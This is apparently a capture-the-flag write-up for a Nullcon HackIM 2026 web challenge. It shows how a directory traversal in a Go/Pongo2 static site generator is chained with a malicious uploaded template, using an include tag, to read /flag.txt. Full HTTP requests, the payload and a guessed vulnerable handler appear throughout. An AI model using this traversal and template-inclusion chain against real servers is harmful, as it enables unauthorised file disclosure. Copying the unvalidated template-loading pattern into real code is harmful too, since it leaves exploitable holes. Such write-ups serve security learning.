mis4nthr0pia

Nullcon HackIM CTF Goa 2026 – WordPress Static Site Generator

Category: Web

Difficulty: Easy

1. Challenge Overview

The challenge presents a web application designed to convert WordPress XML export files into static websites. The interface is simple:

  1. Upload: A form to upload a WordPress XML file.
  2. Generate: A form to select a template (Classic, Modern, Magazine) and generate the site.

The goal is to read the /flag.txt file stored on the server.


2. Vulnerability Analysis

My first step was to explore how the “Generate” feature works. I intercepted the request when clicking “Generate Site” using a proxy. The application sends a POST request to /generate with a template parameter.

POST /generate HTTP/1.1
...
template=classic

I attempted a basic directory traversal attack to see how the server handles the input. I sent template=../../flag.txt.

The server responded with a 500 Internal Server Error that leaked crucial information:

Error loading Pongo2 template from templates/../../flag.txt.html

This error message reveals three key pieces of intel:

  1. Technology: The backend is using Pongo2, a Django-syntax-like template engine for Go.
  2. LFI Vulnerability: The application is vulnerable to Local File Inclusion (LFI) via directory traversal, as it tried to load the path I provided.
  3. Constraint: The application automatically appends .html to the input. This is why my attempt to read flag.txtfailed—it looked for flag.txt.html.

Based on this, I hypothesized the backend code looks something like this:

// Guessed Backend Code
func generateHandler(c *gin.Context) {
    templateName := c.PostForm("template")
    // Vulnerability: No validation on templateName
    // Constraint: Forces .html extension
    tpl, err := pongo2.FromFile("templates/" + templateName + ".html")
    if err != nil {
        c.String(500, "Error loading Pongo2 template from %s", "templates/" + templateName + ".html")
        return
    }
    // ... render template ...
}

3. Developing the Exploit

Since I cannot directly include /flag.txt due to the forced .html extension, I need to achieve Server-Side Template Injection (SSTI) (or technically, remote template inclusion via upload).

The plan:

  1. Upload a malicious file: The application allows file uploads. If I can upload a file that acts as a Pongo2 template, I can execute arbitrary template tags.
  2. Bypass the extension check: The LFI forces .html. Therefore, my uploaded file must end in .html so the template loader can find it.
  3. The Payload: Inside the malicious template, I can use Pongo2’s standard tags. specifically {% include %}, which usually allows absolute paths and might not enforce the .html extension on the included file, unlike the initial loader.

I checked the upload behavior. Successful uploads are stored in uploads/<UUID>/.

I crafted a file named pwn.html. Although the form says it accepts .xml, this is often just a client-side restriction. I can rename the file or intercept the request to change the filename to .html.


4. The PoC

I used Burp Suite to perform the attack.

Step 1: Upload the malicious template

I uploaded a file containing a Pongo2 injection. I made sure to name it pwn.html.

Request:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
...
------WebKitFormBoundary
Content-Disposition: form-data; name="wordpress_xml"; filename="pwn.html"
Content-Type: text/xml

<?xml version="1.0"?>
<rss version="2.0">
<channel>
    <title>Exploit</title>
    <item>
        <title>Flag: {% include "/flag.txt" %}</title>
        <description>Click to see flag</description>
    </item>
</channel>
</rss>
------WebKitFormBoundary--

Response: The server accepted the file and gave me the path:

Uploaded to: uploads/UUID/

Step 2: Trigger the Template Execution

Now I use the LFI vulnerability in /generate to load my uploaded file. I need to traverse out of the templates/ directory and into the uploads/ directory.

Request:

POST /generate HTTP/1.1
...
template=../uploads/UUID/pwn

Note: I omit .html because the server appends it automatically.


5. The Winning Payload

The winning payload inside pwn.html was a simple Pongo2 include tag.

<?xml version="1.0"?>
<rss version="2.0">
<channel>
    <title>Exploit</title>
    <item>
        <title>Flag: {% include "/flag.txt" %}</title>
        <description>Click to see flag</description>
    </item>
</channel>
</rss>

When the server processes this file as a template:

  1. It resolves ../uploads/.../pwn.html.
  2. It parses the content.
  3. It encounters {% include "/flag.txt" %}.
  4. Pongo2 executes the include (which does not force .html) and inserts the contents of the flag into the rendered output.

6. Result

The server rendered the page with a status of 200 OK. The output HTML contained the content of the XML file I uploaded, with the Pongo2 tag replaced by the contents of the flag file.

<?xml version="1.0"?>
<rss version="2.0">
<channel>
    <title>Exploit</title>
    <item>
        <title>Flag: ENO{PONGO2_T3MPl4T3_1NJ3cT1on_!s_Fun_To00!}</title>
        <description>Click to see flag</description>
    </item>
</channel>
</rss>
Posted in:

Leave a Reply

Your email address will not be published. Required fields are marked *